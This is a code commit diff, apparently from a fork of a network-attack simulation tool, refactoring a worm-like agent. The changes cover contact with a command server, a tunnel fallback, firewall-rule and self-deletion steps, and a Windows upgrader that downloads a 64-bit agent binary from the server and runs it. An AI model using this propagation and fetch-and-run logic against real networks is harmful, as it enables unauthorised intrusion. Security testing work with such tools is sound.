forked from p15670423/monkey
Fixed most CR
This commit is contained in:
parent
450f3ed3be
commit
148684d78f
|
@ -6,7 +6,7 @@ import uuid
|
||||||
from abc import ABCMeta
|
from abc import ABCMeta
|
||||||
from itertools import product
|
from itertools import product
|
||||||
|
|
||||||
from exploit import WmiExploiter, SmbExploiter, SSHExploiter, ShellShockExploiter, \
|
from exploit import WmiExploiter, Ms08_067_Exploiter, SmbExploiter, RdpExploiter, SSHExploiter, ShellShockExploiter, \
|
||||||
SambaCryExploiter, ElasticGroovyExploiter
|
SambaCryExploiter, ElasticGroovyExploiter
|
||||||
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger
|
from network import TcpScanner, PingScanner, SMBFinger, SSHFinger, HTTPFinger, MySQLFinger, ElasticFinger
|
||||||
from network.range import FixedRange
|
from network.range import FixedRange
|
||||||
|
|
|
@ -4,6 +4,7 @@ import platform
|
||||||
from socket import gethostname
|
from socket import gethostname
|
||||||
|
|
||||||
import requests
|
import requests
|
||||||
|
from requests.exceptions import ConnectionError
|
||||||
|
|
||||||
import monkeyfs
|
import monkeyfs
|
||||||
import tunnel
|
import tunnel
|
||||||
|
@ -59,9 +60,11 @@ class ControlClient(object):
|
||||||
if default_tunnel:
|
if default_tunnel:
|
||||||
LOG.debug("default_tunnel: %s" % (default_tunnel,))
|
LOG.debug("default_tunnel: %s" % (default_tunnel,))
|
||||||
|
|
||||||
|
current_server = ""
|
||||||
|
|
||||||
for server in WormConfiguration.command_servers:
|
for server in WormConfiguration.command_servers:
|
||||||
try:
|
try:
|
||||||
WormConfiguration.current_server = server
|
current_server = server
|
||||||
|
|
||||||
debug_message = "Trying to connect to server: %s" % server
|
debug_message = "Trying to connect to server: %s" % server
|
||||||
if ControlClient.proxies:
|
if ControlClient.proxies:
|
||||||
|
@ -70,23 +73,29 @@ class ControlClient(object):
|
||||||
requests.get("https://%s/api?action=is-up" % (server,),
|
requests.get("https://%s/api?action=is-up" % (server,),
|
||||||
verify=False,
|
verify=False,
|
||||||
proxies=ControlClient.proxies)
|
proxies=ControlClient.proxies)
|
||||||
|
WormConfiguration.current_server = current_server
|
||||||
break
|
break
|
||||||
|
|
||||||
except Exception as exc:
|
except ConnectionError as exc:
|
||||||
WormConfiguration.current_server = ""
|
current_server = ""
|
||||||
LOG.warn("Error connecting to control server %s: %s", server, exc)
|
LOG.warn("Error connecting to control server %s: %s", server, exc)
|
||||||
|
|
||||||
if not WormConfiguration.current_server:
|
if current_server:
|
||||||
if not ControlClient.proxies:
|
return True
|
||||||
|
else:
|
||||||
|
if ControlClient.proxies:
|
||||||
|
return False
|
||||||
|
else:
|
||||||
LOG.info("Starting tunnel lookup...")
|
LOG.info("Starting tunnel lookup...")
|
||||||
proxy_find = tunnel.find_tunnel(default=default_tunnel)
|
proxy_find = tunnel.find_tunnel(default=default_tunnel)
|
||||||
if proxy_find:
|
if proxy_find:
|
||||||
proxy_address, proxy_port = proxy_find
|
proxy_address, proxy_port = proxy_find
|
||||||
LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port))
|
LOG.info("Found tunnel at %s:%s" % (proxy_address, proxy_port))
|
||||||
ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port)
|
ControlClient.proxies['https'] = 'https://%s:%s' % (proxy_address, proxy_port)
|
||||||
ControlClient.find_server()
|
return ControlClient.find_server()
|
||||||
else:
|
else:
|
||||||
LOG.info("No tunnel found")
|
LOG.info("No tunnel found")
|
||||||
|
return False
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def keepalive():
|
def keepalive():
|
||||||
|
|
|
@ -38,7 +38,7 @@ class MonkeyDrops(object):
|
||||||
arg_parser.add_argument('-p', '--parent')
|
arg_parser.add_argument('-p', '--parent')
|
||||||
arg_parser.add_argument('-t', '--tunnel')
|
arg_parser.add_argument('-t', '--tunnel')
|
||||||
arg_parser.add_argument('-s', '--server')
|
arg_parser.add_argument('-s', '--server')
|
||||||
arg_parser.add_argument('-d', '--depth')
|
arg_parser.add_argument('-d', '--depth', type=int)
|
||||||
arg_parser.add_argument('-l', '--location')
|
arg_parser.add_argument('-l', '--location')
|
||||||
self.monkey_args = args[1:]
|
self.monkey_args = args[1:]
|
||||||
self.opts, _ = arg_parser.parse_known_args(args)
|
self.opts, _ = arg_parser.parse_known_args(args)
|
||||||
|
@ -56,7 +56,7 @@ class MonkeyDrops(object):
|
||||||
return
|
return
|
||||||
|
|
||||||
# we copy/move only in case path is different
|
# we copy/move only in case path is different
|
||||||
file_moved = (self._config['source_path'].lower() == self._config['destination_path'].lower())
|
file_moved = os.path.samefile(self._config['source_path'], self._config['destination_path'])
|
||||||
|
|
||||||
if not file_moved and os.path.exists(self._config['destination_path']):
|
if not file_moved and os.path.exists(self._config['destination_path']):
|
||||||
os.remove(self._config['destination_path'])
|
os.remove(self._config['destination_path'])
|
||||||
|
@ -108,9 +108,8 @@ class MonkeyDrops(object):
|
||||||
except:
|
except:
|
||||||
LOG.warn("Cannot set reference date to destination file")
|
LOG.warn("Cannot set reference date to destination file")
|
||||||
|
|
||||||
depth = int(self.opts.depth) if self.opts.depth is not None else None
|
monkey_options =\
|
||||||
monkey_options = build_monkey_commandline_explicitly(
|
build_monkey_commandline_explicitly(self.opts.parent, self.opts.tunnel, self.opts.server, self.opts.depth)
|
||||||
self.opts.parent, self.opts.tunnel, self.opts.server, depth)
|
|
||||||
|
|
||||||
if OperatingSystem.Windows == SystemInfoCollector.get_os():
|
if OperatingSystem.Windows == SystemInfoCollector.get_os():
|
||||||
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
|
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {'monkey_path': self._config['destination_path']} + monkey_options
|
||||||
|
|
|
@ -48,14 +48,13 @@ class InfectionMonkey(object):
|
||||||
arg_parser.add_argument('-p', '--parent')
|
arg_parser.add_argument('-p', '--parent')
|
||||||
arg_parser.add_argument('-t', '--tunnel')
|
arg_parser.add_argument('-t', '--tunnel')
|
||||||
arg_parser.add_argument('-s', '--server')
|
arg_parser.add_argument('-s', '--server')
|
||||||
arg_parser.add_argument('-d', '--depth')
|
arg_parser.add_argument('-d', '--depth', type=int)
|
||||||
self._opts, self._args = arg_parser.parse_known_args(self._args)
|
self._opts, self._args = arg_parser.parse_known_args(self._args)
|
||||||
|
|
||||||
self._parent = self._opts.parent
|
self._parent = self._opts.parent
|
||||||
self._default_tunnel = self._opts.tunnel
|
self._default_tunnel = self._opts.tunnel
|
||||||
self._default_server = self._opts.server
|
self._default_server = self._opts.server
|
||||||
if self._opts.depth:
|
if self._opts.depth:
|
||||||
WormConfiguration.depth = int(self._opts.depth)
|
|
||||||
WormConfiguration._depth_from_commandline = True
|
WormConfiguration._depth_from_commandline = True
|
||||||
self._keep_running = True
|
self._keep_running = True
|
||||||
self._network = NetworkScanner()
|
self._network = NetworkScanner()
|
||||||
|
@ -71,9 +70,9 @@ class InfectionMonkey(object):
|
||||||
def start(self):
|
def start(self):
|
||||||
LOG.info("Monkey is running...")
|
LOG.info("Monkey is running...")
|
||||||
|
|
||||||
if firewall.is_enabled():
|
if not ControlClient.find_server(default_tunnel=self._default_tunnel):
|
||||||
firewall.add_firewall_rule()
|
LOG.info("Monkey couldn't find server. Going down.")
|
||||||
ControlClient.find_server(default_tunnel=self._default_tunnel)
|
return
|
||||||
|
|
||||||
if WindowsUpgrader.should_upgrade():
|
if WindowsUpgrader.should_upgrade():
|
||||||
self._upgrading_to_64 = True
|
self._upgrading_to_64 = True
|
||||||
|
@ -89,6 +88,9 @@ class InfectionMonkey(object):
|
||||||
LOG.info("Marked not alive from configuration")
|
LOG.info("Marked not alive from configuration")
|
||||||
return
|
return
|
||||||
|
|
||||||
|
if firewall.is_enabled():
|
||||||
|
firewall.add_firewall_rule()
|
||||||
|
|
||||||
monkey_tunnel = ControlClient.create_control_tunnel()
|
monkey_tunnel = ControlClient.create_control_tunnel()
|
||||||
if monkey_tunnel:
|
if monkey_tunnel:
|
||||||
monkey_tunnel.start()
|
monkey_tunnel.start()
|
||||||
|
@ -227,21 +229,27 @@ class InfectionMonkey(object):
|
||||||
LOG.info("Monkey cleanup started")
|
LOG.info("Monkey cleanup started")
|
||||||
self._keep_running = False
|
self._keep_running = False
|
||||||
|
|
||||||
# Signal the server (before closing the tunnel)
|
if self._upgrading_to_64:
|
||||||
if not self._upgrading_to_64:
|
InfectionMonkey.close_tunnel()
|
||||||
ControlClient.send_telemetry("state", {'done': True})
|
firewall.close()
|
||||||
|
else:
|
||||||
|
ControlClient.send_telemetry("state", {'done': True}) # Signal the server (before closing the tunnel)
|
||||||
|
InfectionMonkey.close_tunnel()
|
||||||
|
firewall.close()
|
||||||
|
self._singleton.unlock()
|
||||||
|
|
||||||
# Close tunnel
|
InfectionMonkey.self_delete()
|
||||||
|
LOG.info("Monkey is shutting down")
|
||||||
|
|
||||||
|
@staticmethod
|
||||||
|
def close_tunnel():
|
||||||
tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0]
|
tunnel_address = ControlClient.proxies.get('https', '').replace('https://', '').split(':')[0]
|
||||||
if tunnel_address:
|
if tunnel_address:
|
||||||
LOG.info("Quitting tunnel %s", tunnel_address)
|
LOG.info("Quitting tunnel %s", tunnel_address)
|
||||||
tunnel.quit_tunnel(tunnel_address)
|
tunnel.quit_tunnel(tunnel_address)
|
||||||
|
|
||||||
firewall.close()
|
@staticmethod
|
||||||
|
def self_delete():
|
||||||
if not self._upgrading_to_64:
|
|
||||||
self._singleton.unlock()
|
|
||||||
|
|
||||||
if WormConfiguration.self_delete_in_cleanup \
|
if WormConfiguration.self_delete_in_cleanup \
|
||||||
and -1 == sys.executable.find('python'):
|
and -1 == sys.executable.find('python'):
|
||||||
try:
|
try:
|
||||||
|
@ -257,5 +265,3 @@ class InfectionMonkey(object):
|
||||||
os.remove(sys.executable)
|
os.remove(sys.executable)
|
||||||
except Exception as exc:
|
except Exception as exc:
|
||||||
LOG.error("Exception in self delete: %s", exc)
|
LOG.error("Exception in self delete: %s", exc)
|
||||||
|
|
||||||
LOG.info("Monkey is shutting down")
|
|
||||||
|
|
|
@ -3,6 +3,7 @@ import os
|
||||||
import struct
|
import struct
|
||||||
import subprocess
|
import subprocess
|
||||||
import sys
|
import sys
|
||||||
|
import shutil
|
||||||
|
|
||||||
import time
|
import time
|
||||||
|
|
||||||
|
@ -23,9 +24,11 @@ else:
|
||||||
|
|
||||||
|
|
||||||
class WindowsUpgrader(object):
|
class WindowsUpgrader(object):
|
||||||
|
__UPGRADE_WAIT_TIME__ = 3
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def is_64bit_os():
|
def is_64bit_os():
|
||||||
return os.environ.has_key('PROGRAMFILES(X86)')
|
return 'PROGRAMFILES(X86)' in os.environ
|
||||||
|
|
||||||
@staticmethod
|
@staticmethod
|
||||||
def is_64bit_python():
|
def is_64bit_python():
|
||||||
|
@ -44,13 +47,10 @@ class WindowsUpgrader(object):
|
||||||
def upgrade(opts):
|
def upgrade(opts):
|
||||||
monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False)
|
monkey_64_path = ControlClient.download_monkey_exe_by_os(True, False)
|
||||||
with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
|
with monkeyfs.open(monkey_64_path, "rb") as downloaded_monkey_file:
|
||||||
monkey_bin = downloaded_monkey_file.read()
|
|
||||||
with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file:
|
with open(WormConfiguration.dropper_target_path_win_64, 'wb') as written_monkey_file:
|
||||||
written_monkey_file.write(monkey_bin)
|
shutil.copyfileobj(downloaded_monkey_file, written_monkey_file)
|
||||||
|
|
||||||
depth = int(opts.depth) if opts.depth is not None else None
|
monkey_options = build_monkey_commandline_explicitly(opts.parent, opts.tunnel, opts.server, opts.depth)
|
||||||
monkey_options = build_monkey_commandline_explicitly(
|
|
||||||
opts.parent, opts.tunnel, opts.server, depth)
|
|
||||||
|
|
||||||
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {
|
monkey_cmdline = MONKEY_CMDLINE_WINDOWS % {
|
||||||
'monkey_path': WormConfiguration.dropper_target_path_win_64} + monkey_options
|
'monkey_path': WormConfiguration.dropper_target_path_win_64} + monkey_options
|
||||||
|
@ -62,6 +62,6 @@ class WindowsUpgrader(object):
|
||||||
LOG.info("Executed 64bit monkey process (PID=%d) with command line: %s",
|
LOG.info("Executed 64bit monkey process (PID=%d) with command line: %s",
|
||||||
monkey_process.pid, monkey_cmdline)
|
monkey_process.pid, monkey_cmdline)
|
||||||
|
|
||||||
time.sleep(3)
|
time.sleep(WindowsUpgrader.__UPGRADE_WAIT_TIME__)
|
||||||
if monkey_process.poll() is not None:
|
if monkey_process.poll() is not None:
|
||||||
LOG.warn("Seems like monkey died too soon")
|
LOG.error("Seems like monkey died too soon")
|
||||||
|
|
|
@ -445,12 +445,14 @@ SCHEMA = {
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"default": "C:\\Windows\\monkey32.exe",
|
"default": "C:\\Windows\\monkey32.exe",
|
||||||
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
||||||
|
"(32bit)"
|
||||||
},
|
},
|
||||||
"dropper_target_path_win_64": {
|
"dropper_target_path_win_64": {
|
||||||
"title": "Dropper target path on Windows (64bit)",
|
"title": "Dropper target path on Windows (64bit)",
|
||||||
"type": "string",
|
"type": "string",
|
||||||
"default": "C:\\Windows\\monkey64.exe",
|
"default": "C:\\Windows\\monkey64.exe",
|
||||||
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
"description": "Determines where should the dropper place the monkey on a Windows machine "
|
||||||
|
"(64 bit)"
|
||||||
},
|
},
|
||||||
"dropper_try_move_first": {
|
"dropper_try_move_first": {
|
||||||
"title": "Try to move first",
|
"title": "Try to move first",
|
||||||
|
|
Loading…
Reference in New Issue